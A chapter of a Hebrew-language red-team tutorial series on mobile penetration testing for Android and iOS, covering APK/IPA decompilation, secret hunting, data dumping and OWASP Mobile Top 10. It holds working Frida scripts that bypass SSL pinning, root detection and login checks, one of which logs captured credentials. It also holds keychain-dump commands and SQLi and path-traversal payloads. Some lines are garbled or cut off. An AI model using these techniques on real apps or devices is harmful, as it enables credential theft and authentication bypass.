

פרק י • RED TEAM GUIDES

פרק י"ב — Mobile Red Teaming: iOS-ו Android

מדריך מלא למתחילים — בעברית

Red Team Guides Series • 2026

פרק י"ב — Mobile Red

iOS Teaming: Android

מבוא: למה Mobile?

אנחנו גרים בסמארטפון שלנו. הוא מכיל:

- מפתחות בנק ואפליקציות פיננסיות
- אימות דו-שלבי (2FA)
- מיקום, תמונות, הודעות
- VPN ו-corporate email
- Session cookies וpasswords

מחצית מהcybersecurity incidents כיום קשורים ל-mobile apps בצורה כלשהי — אפשר דרך app פגיע, API חשוף, או אפליקציה שמאחסנת data לא מאובטח.

חלק א': Android Red Teaming

ארכיטקטורת Android

מרכיבים עיקריים:

- **APK** (Android Package) — פורמט הקובץ של אפליקציות Android (בעצם ZIP)
- **ADB** (Android Debug Bridge) — כלי debug לתקשורת עם מכונה
- **Dalvik/ART** של Android (רץ bytecode, לא קוד מכונה רגיל) — JVM
- **DEX** (Dalvik Executable) — פורמט bytecode של Android
- **SMALI** — Assembly language של Dalvik (ניתן לקריאה)
- **AndroidManifest.xml** — מסמך הגדרות האפליקציה (permissions, activities)
- **Sandbox** — כל אפליקציה רצה ב-sandbox משלה עם UID ייחודי

רמות Android Security:

1. **App Sandbox** — כל app ב-UID נפרד
2. **Permissions System** — app מבקש הרשאות מהמשתמש
3. **SELinux** — Mandatory Access Control

הגדרת סביבת עבודה

```
# ADB — Android Debug Bridge:
# Ubuntu:
apt install android-tools-adb

# בטל USB debugging ב-Android:
# Settings → Developer Options → USB Debugging → Enable

# בדיקת חיבור:
adb devices
# List of devices attached
# emulator-5554    device

# ADB commands:
adb shell          # על המכונה shell
adb install app.apk # APK התקן
adb pull /path/file ./ # הורד קובץ מהמכונה
adb push ./file /path/ # שלח קובץ למכונה
adb logcat         # logs ראה
adb forward tcp:8080 tcp:8080 # port forwarding

# Emulator:
# Android Studio → AVD Manager → צור emulator
# או Genymotion — עמוק יותר, מהיר יותר
```

APK Analysis — Static Analysis

Unpack APK:1 שלב

```
# APK הוא ZIP – פרוק:
unzip app.apk -d app_contents/

# תמצא: classes.dex, resources, AndroidManifest.xml (מוצפן), /assets

# APKTool – נפוץ ל disassembly:
# התקנה:
sudo apt install apktool

# פרוק:
apktool d app.apk -o app_decompiled/

# פלט:
# app_decompiled/
# └─ AndroidManifest.xml (!קריא)
# └─ res/
# └─ assets/
# └─ smali/ (SMALI code – assembly-like)

# קמפיל מחדש (לאחר שינויים):
apktool b app_decompiled/ -o app_modified.apk
```

שלב 2: Java-ל Decpile

```
# jadx – הופך DEX לJava source code:

# התקנה:
wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.x.x.zip
unzip jadx-1.x.x.zip

# Decompile:
./jadx app.apk -d output_dir/

# GUI:
./jadx-gui app.apk
source code Java עם window יפתח ✓ #

# חיפוש בקוד:
grep -r "password" output_dir/
grep -r "api_key\|apikey\|secret" output_dir/
grep -r "http://\|https://" output_dir/ # כל ה-URLs
grep -r "SQLite\|database\|query" output_dir/
grep -r "SharedPreferences" output_dir/ # local storage
```

שלב 3: AndroidManifest.xml Analysis

```
# כל הרשאות:
cat app_decompiled/AndroidManifest.xml | grep "uses-permission"

# Activities (מסכים) ל app שיכול לגשת אליהם מחוץ ל (מסכים):
grep 'android:exported="true"' app_decompiled/AndroidManifest.xml

# Debug mode:
grep 'android:debuggable' app_decompiled/AndroidManifest.xml
# android:debuggable="true" – AApp ל debug!

# Backup allowed:
grep 'android:allowBackup' app_decompiled/AndroidManifest.xml
# android:allowBackup="true" – ל backup data!
```

.1 Hardcoded Credentials

```
grep -rni "password\|passwd\|api_key\|secret\|token" output_dir/sources/
grep -rni "BEGIN RSA\|-----" output_dir/

# Base64 strings חיפוש:
grep -rni "[A-Za-z0-9+/=]{30,}" output_dir/ | grep -v ".png\|.jpg"
```

.2 HTTP (לא HTTPS)

```
grep -rni "http://" output_dir/sources/
```

.3 SQL Injection Vectors

```
grep -rni "rawQuery\|execSQL" output_dir/sources/
# rawQuery עם concatenation – SQLi!
# db.rawQuery("SELECT * FROM users WHERE id = " + userId, null);
```

.4 Local Storage

```
grep -rni "SharedPreferences\|getSharedPreferences" output_dir/sources/
! אם שומר passwords/tokens ב-SharedPreferences – לא מוצפן!

grep -rni "openFileOutput\|FileOutputStream" output_dir/sources/
# כותב קבצים ל-external storage

grep -rni "Environment.getExternalStorageDirectory" output_dir/sources/
# קבצים ב-external storage גלויים לכולם!
```

.5 Intent Injection-I Deep Links

```
grep -rni "intent.getData\|getDataString\|getQueryParameter" output_dir/sources/
# Deep links שמקבלים parameters – injection?
```

```
grep -rni "MD5\|SHA1\|DES\|ECB" output_dir/sources/

# MD5/SHA1 לpasswords – חלש
# AES/ECB – חלש
# DES – חלש וישן

grep -rni "SecretKeySpec\|KeyGenerator" output_dir/sources/

# hardcoded key?
```

Dynamic Analysis — MobSF

MobSF (Mobile Security Framework) — framework אוטומטי לanalysis.

```
# Docker:
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

# פתח http://localhost:8000
# גרור APK
# קבל דוח מלא: static + dynamic analysis
```

```

# הרץ app וראה logs
adb logcat | grep "MyApp\|Exception\|Error\|password\|token"

# DDMS (Dalvik Debug Monitor) – GUI ל log analysis

# Dump databases:
adb shell "run-as com.target.app ls /data/data/com.target.app/databases/"
adb shell "run-as com.target.app cat /data/data/com.target.app/databases/app.db" > /tmp/a

# קרא DB SQLite
sqlite3 /tmp/app.db
.tables
SELECT * FROM users;

# SharedPreferences:
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/settings.xml"

# Files:
adb shell "run-as com.target.app ls /data/data/com.target.app/files/"

# ניתוח traffic (בdynamic):
# הגדר proxy ב-Burp Suite → Android
# Settings → WiFi → Proxy → 10.10.10.100:8080

```

Certificate Pinning — מה זה ולמה צריך לעקוף?

Certificate Pinning = האפליקציה בודקת שה-certificate של השרת שהיא מתקשרת עימו הוא בדיוק מה שהיא מצפה — לא רק שהוא תקף מבחינת CA.

למה זה בעיה לנו?

כשמנסים לראות את ה-traffic של האפליקציה דרך Burp/MITM — הפרוקסי מציג certificate שלו, וה-app "יודע" שזה לא ה-certificate שהוא מצפה ולכן מסרב לתקשר.

Bypass Certificate Pinning

שיטה 1: Network Security Config

```
<!-- res/xml/network_security_config.xml – ערוך אחרי -->
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <base-config cleartextTrafficPermitted="true">
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" /> <!-- <-- חוסף user certificates! -->
        </trust-anchors>
    </base-config>
    <debug-overrides>
        <trust-anchors>
            <certificates src="user" />
        </trust-anchors>
    </debug-overrides>
</network-security-config>
```

```
# אחרי העריכה:
apktool b app_decompiled/ -o app_modified.apk

# חתום על APK:
keytool -genkey -v -keystore my.keystore -alias alias_name -keyalg RSA -keysize 2048 -val
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my.keystore app_modified

# zipalign:
zipalign -v 4 app_modified.apk app_final.apk

# התקן:
adb install app_final.apk
```

שיטה 2: Frida — הכי אמין

Frida הוא framework ל-dynamic instrumentation — מאפשר להכניס JavaScript code ל-runtime של כל תהליך.

```
:Frida התקנת #
pip3 install frida-tools

:Android ל frida-server הורד #
# https://github.com/frida/frida/releases
architecture: frida-server-xx-android-arm64 ל גרסה מתאימה #

:העלה למכונה #
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "su -c /data/local/tmp/frida-server &"

:Frida הפעל #
frida-ps -U # רשימת processes
```

:Bypass SSL Pinning ל Frida Scripts

```

// ssl_bypass.js – Universal SSL Pinning Bypass
Frida Universal SSL Pinning Bypass (Objection)-ב משתמש //

Java.perform(function() {
    // TrustManager bypass:
    var TrustManager = Java.registerClass({
        name: 'com.pwned.TrustManager',
        implements: [Java.use('javax.net.ssl.X509TrustManager')],
        methods: {
            checkClientTrusted: function(chain, authType) {},
            checkServerTrusted: function(chain, authType) {},
            getAcceptedIssuers: function() { return []; }
        }
    });

    var SSLContext = Java.use('javax.net.ssl.SSLContext');
    SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;',
        '[Ljavax.net.ssl.TrustManager;',
        'java.security.SecureRandom').implementation = function(km,
        this.init(km, [TrustManager.$new()], sr);
    };

    // OkHttp bypass:
    try {
        var OkHttpClient = Java.use('okhttp3.OkHttpClient');
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {};
        CertificatePinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function() {};
    } catch(e) {}
});

```

```
# הרץ script עם Frida
frida -U -n com.target.app -l ssl_bypass.js

# -U = USB device
# -n = package name

# עם spawn (טוען script לפני האפליקציה):
frida -U -f com.target.app -l ssl_bypass.js --no-pause
```

:Objection — Frida-based toolkit

```
# התקנה:
pip3 install objection

# הפעלה:
objection --gadget "com.target.app" explore

# בתוך objection:
android sslpinning disable      # disable certificate pinning
android root disable           # root detection bypass
android hooking list classes   # classes רשימת
android hooking search methods # methods חיפוש
android hooking watch method "com.target.SomeClass.someMethod" --dump-args --dump-return

# חיפוש data:
android heap search instances com.target.SecretManager
android filesystem list
```

```
// Frida script to bypass root detection:

Java.perform(function() {
  // שיטה 1: קבצי root נפוצים
  var File = Java.use('java.io.File');
  File.exists.implementation = function() {
    var filename = this.getName();
    if (filename.includes('su') || filename.includes('Superuser') ||
        filename.includes('busybox') || filename.includes('magisk')) {
      return false;
    }
    return this.exists();
  };

  // שיטה 2: Runtime.exec
  var Runtime = Java.use('java.lang.Runtime');
  Runtime.exec.overload('java.lang.String').implementation = function(cmd) {
    if (cmd.includes('su') || cmd.includes('which') || cmd.includes('id')) {
      throw Java.use('java.io.IOException').$new("command not found");
    }
    return this.exec(cmd);
  };

  // שיטה 3: Build tags
  var Build = Java.use('android.os.Build');
  Build.TAGS.value = "release-keys";
});
```

```
# כשמצאת API endpoints ב-static analysis
# בדוק authentication
curl -k "https://api.target.com/user/profile" -H "Authorization: Bearer TOKEN"

# IDOR – שנה user ID:
curl -k "https://api.target.com/user/1234/profile"
curl -k "https://api.target.com/user/1235/profile" # user אחר?

# Replay attack – request שמור ב-Burp ושלח שוב
# Interception של mobile API עם Burp:
# 1. הגדר proxy ב-Burp → Modify → (hold) → WiFi → Settings → Android
# 2. Import Burp certificate ל-Android
# 3. עם bypass SSL pinning – ראה כל ה-traffic
# Charles Proxy – alternative ל-Burp ל-mobile
```

חלק ב': iOS Red Teaming

ארכיטקטורת iOS

מרכיבים עיקריים:

- **iOS App Package** — **IPA** (כמו APK ל-Android)
- **IDE** — **XCode** לפיתוח iOS
- **Objective-C / Swift** — שפות הפיתוח
- **Frameworks** — ספריות מובנות (UIKit, CoreData, etc.)
- **Keychain** — אחסון מאובטח ל-credentials
- **NSUserDefaults** — אחסון פשוט (כמו SharedPreferences)
- **Jailbreak** — פריצת המכשיר ל-iOS כדי להריץ כלים

iOS Security:

- **Sandbox** — כל app ב-sandbox קפדני
- **Code Signing** — כל קוד חייב להיות חתום ע"י Apple

- **Secure Enclave** — chip נפרד ל-biometrics ו-keys
- **App Store Review** — Apple בודקת כל app

הגדרת סביבה

```
# צריך:
# 1. Mac עם Xcode מותקן
# 2. iPhone עם Jailbreak (dynamic analysis) – Checkra1n/Palera1n/Dopamine

# על iPhone Jailbroken:
# Cydia (package manager) → Frida, OpenSSH, Filza

# SSH ל-iPhone:
ssh root@iphone_ip # סיסמה: alpine (!ברירת מחדל)
passwd root # חשוב: שנה סיסמה מיד!

# Frida ל-iOS:
pip3 install frida-tools
frida-ps -U # processes רשימת (עם USB/WiFi)
```

```
# הורד IPA (ממכירת apps לא מה-AppStore – למשל AltStore, iTunes backup)

# פרוק:
unzip app.ipa -d app_contents/
# Payload/AppName.app/

# Binary – Mach-O format:
file Payload/TargetApp.app/TargetApp
# Mach-O 64-bit ARM64 executable

# Class dump – חילוץ של Objective-C headers:
class-dump Payload/TargetApp.app/TargetApp -H -o headers/

# strings:
strings Payload/TargetApp.app/TargetApp | grep -i "password\|secret\|key\|token\|http"

# otool – disassembly:
otool -l Payload/TargetApp.app/TargetApp # load commands
otool -L Payload/TargetApp.app/TargetApp # linked libraries

# Info.plist – כמו AndroidManifest:
plutil -p Payload/TargetApp.app/Info.plist | less

# NSAppTransportSecurity → NSAllowsArbitraryLoads? True = מותר HTTP!
```

```
# MobSF – תומך גם ב IPA-תומך גם ב
# אותו Docker שהרצנו קודם
# גרור IPA
# קבל דוח static analysis
```

```
// ios_ssl_bypass.js
// SSL Kill Switch
try {
  Module.enumerateImports("Security", {
    onMatch: function(imp) {
      if (imp.name === "SSLHandshake") {
        Memory.writeUint8(imp.address, 0xC0); // NOP
        Memory.writeUint8(imp.address.add(1), 0x03);
        Memory.writeUint8(imp.address.add(2), 0x5F);
        Memory.writeUint8(imp.address.add(3), 0xD6);
      }
    },
    onComplete: function() {}
  });
} catch(err) {}

// TrustKit bypass:
try {
  var TrustKit = ObjC.classes.TKSession;
  if (TrustKit) {
    var originalVerify = TrustKit['- verifyCertificateChain:forServerHostname:'];
    Interceptor.attach(originalVerify.implementation, {
      onLeave: function(retval) {
        retval.replace(0x1); // תמיד החזר true
      }
    });
  }
} catch(err) {}
```

הרץ:

```
frida -U -n TargetApp -l ios_ssl_bypass.js
```

```
# Cydia → מחפש "SSL Kill Switch 2"  
# מתקי'ן כ-bypass Tweak – אוטומטי לכל apps
```

iOS Data Storage Analysis

```
:iPhone Jailbroken, SSH על #  
  
# NSUserDefaults:  
cat /var/mobile/Containers/Data/Application/UUID/Library/Preferences/com.target.app.plist  
  
# SQLite databases:  
ls /var/mobile/Containers/Data/Application/UUID/Documents/  
ls /var/mobile/Containers/Data/Application/UUID/Library/  
  
# CoreData:  
ls /var/mobile/Containers/Data/Application/UUID/Library/Application\ Support/  
  
# קרא SQLite #  
sqlite3 /path/to/database.sqlite  
.tables  
SELECT * FROM UserCredentials;  
  
# Keychain (tool צריך):  
# KeychainDumper:  
./keychain_dumper # dump Keychain entries  
# פלט: כל secrets, passwords, tokens
```

```
// Hook method ב-Objective-C:
var myClass = ObjC.classes.AuthManager;
var myMethod = myClass['- validateCredentials:password:'];

Interceptor.attach(myMethod.implementation, {
  onEnter: function(args) {
    var username = ObjC.Object(args[2]).toString();
    var password = ObjC.Object(args[3]).toString();
    console.log("[*] Login attempt: " + username + ":" + password);
  },
  onLeave: function(retval) {
    console.log("[*] Return value: " + retval);
    retval.replace(0x1); // bypass authentication!
  }
});
```

```
// Hook Swift (קצת שונה):
var addr = Module.findExportByName("TargetApp", "_TFC9TargetApp11AuthManager19validateCre
Interceptor.attach(addr, {
  onEnter: function(args) {
    console.log("Hooked!");
  }
});
```

```
# Objection ל iOS:
objection --gadget "com.target.app" explore

:objection בתוך #
ios sslpinning disable          # disable pinning
ios keychain dump               # dump keychain
ios plist cat Info.plist       # קרא plist
ios pasteboard monitor         # clipboard ניטור
ios ui screenshot              # screenshot

ios hooking list classes
ios hooking list methods --class AuthManager
ios hooking watch method "-[AuthManager validateCredentials:password:]" \
    --dump-args --dump-return
```

חלק ג': OWASP Mobile Top 10

OWASP (כמו שהסברנו לweb) יש גם Mobile Top 10:

M1: Improper Credential Usage

```
# Hardcoded credentials ב-code:
grep -rni "password\|api_key\|secret" sources/

# Credentials ב-files (config, XML):
cat res/values/strings.xml | grep -i "key\|password\|token"

# לבדוק:
cat app_decompiled/res/values/strings.xml

# <string name="api_key">HARDCODED_KEY_HERE</string>
```

M2: Inadequate Supply Chain Security

```
# שימוש ב-third-party SDKs פגועים
# בדוק dependencies:

# Android gradle:
cat build.gradle | grep "implementation\|compile"

# הבדוק כל library ב-CVE databases

# iOS Podfile:
cat Podfile
```

M3: Insecure Authentication/Authorization

```
# בד'יקות:

# 1. Bypass login screen – Frida hook
# 2. שינוי response מ-true → false {"authenticated": true} → {"authenticated": false}
# 3. JWT manipulation (web כבר כוסה בפרק)
# 4. Token reuse לאחר logout
```

M4: Insufficient Input/Output Validation

```
# מקומי ב-SQLi:
db.rawQuery("SELECT * FROM items WHERE id = " + userInput) # אם הקק קורא:
# → ' OR '1'='1 → SQLi!

# XSS ב-WebView:
# אם app מציג web content עם user input בלי sanitization
# → JavaScript injection ב-WebView

# Path Traversal:
# אם app שומר קבצים: data/data/app/ + userInput/
# → userInput = "../../../system/passwd"
```

M5: Insecure Communication

```
# HTTP בלי HTTPS
# Certificate validation disabled
# Certificate pinning missing
# Sensitive data ב-URL parameters (logged!)
```

M6: Inadequate Privacy Controls

```
# Sensitive data ב-logs:
adb logcat | grep -i "password\|token\|credit\|ssn"

# Sensitive data ב-clipboard (Copy-paste):
# iOS: pasteboard monitor (Objection)

# Screenshots – iOS/Android שומרים screenshot בכל app switch:
ls /private/var/mobile/Media/DCIM/
```

M7: Insufficient Binary Protections

```
# בדיקת אם יש הגנות:
# Android:
# ProGuard/R8 (code obfuscation)?
# → jadx → ה code | אי → obfuscation

# Root detection?
# Emulator detection?
# Debugger detection?

# iOS:
# PIE enabled? (ASLR)
otool -hv Payload/App.app/App | grep PIE

# Stack protection?
otool -Iv Payload/App.app/App | grep stack_chk

# ARC enabled?
otool -Iv Payload/App.app/App | grep objc_release
```

M8: Security Misconfiguration

```
# Android:
# android:debuggable="true"
# android:allowBackup="true"
# android:exported="true" (activities בלי protection)
# cleartext traffic allowed

# iOS:
# NSAllowsArbitraryLoads = true
# NSExceptionDomains
# Insecure cookies (missing Secure/HttpOnly flags)
```

M9: Insecure Data Storage

```
# Android:  
# SharedPreferences (plain text)  
# SQLite (unencrypted)  
# External storage (readable by all)  
# Log files  
  
# iOS:  
# NSUserDefaults  
# Plist files  
# SQLite without encryption  
# Keychain with wrong accessibility level
```

M10: Insufficient Cryptography

```
# MD5/SHA1 ↗passwords  
# ECB mode (AES but weak)  
# Hardcoded keys  
# Short keys (< 128 bits)  
# Custom crypto (always bad)
```

חלק ד': Android Malware Analysis

```
# כלים ל analysis של malware:

# 1. VirusTotal – scan APK:
curl -X POST https://www.virustotal.com/api/v3/files \
  -H "x-apikey: YOUR_KEY" \
  -F "file=@suspicious.apk"

# 2. AndroGuard – Python framework:
pip3 install androguard

from androguard.misc import AnalyzeAPK
a, d, dx = AnalyzeAPK("suspicious.apk")
print("Package:", a.get_package())
print("Permissions:", a.get_permissions())
print("Activities:", a.get_activities())

# 3. Quark-Engine:
pip3 install quark-engine
quark -a suspicious.apk -s

# 4. Cuckoo Droid (sandbox):
# sandbox ל Android malware מיוחד
```

כלי	Platform	שימוש
APKTool	Android	Disassembly/reassembly
jadx	Android	Java-ל Decompile
Frida	Android/iOS	Dynamic instrumentation
Objection	Android/iOS	Frida מבוסס Framework
MobSF	Android/iOS	Automated analysis
ADB	Android	Debug bridge
class-dump	iOS	ObjC binary Headers
SSL Kill Switch	iOS	Certificate pinning bypass
KeychainDumper	iOS	Dump iOS Keychain
Drozer	Android	App attack framework

1. Reconnaissance
 - App store research
 - Version history
 - Known CVEs
2. Static Analysis
 - APK/IPA decompile
 - Source code review
 - Hardcoded secrets
 - AndroidManifest/Info.plist
3. Traffic Analysis
 - Setup Burp proxy
 - Bypass SSL pinning
 - API endpoints
 - Auth mechanisms
4. Dynamic Analysis
 - Frida hooking
 - Runtime manipulation
 - Data storage analysis
5. Backend API Testing
 - Same as Web App testing
 - OWASP API Security Top 10
6. Reporting
 - OWASP Mobile Top 10 mapping
 - CVSS scores
 - PoC videos/screenshots

Physical Security: physical access attacks, card cloning, tailgating, lock — **פרק 13** — בפרק הבא: picking, Rubber Ducky/BadUSB, ועוד.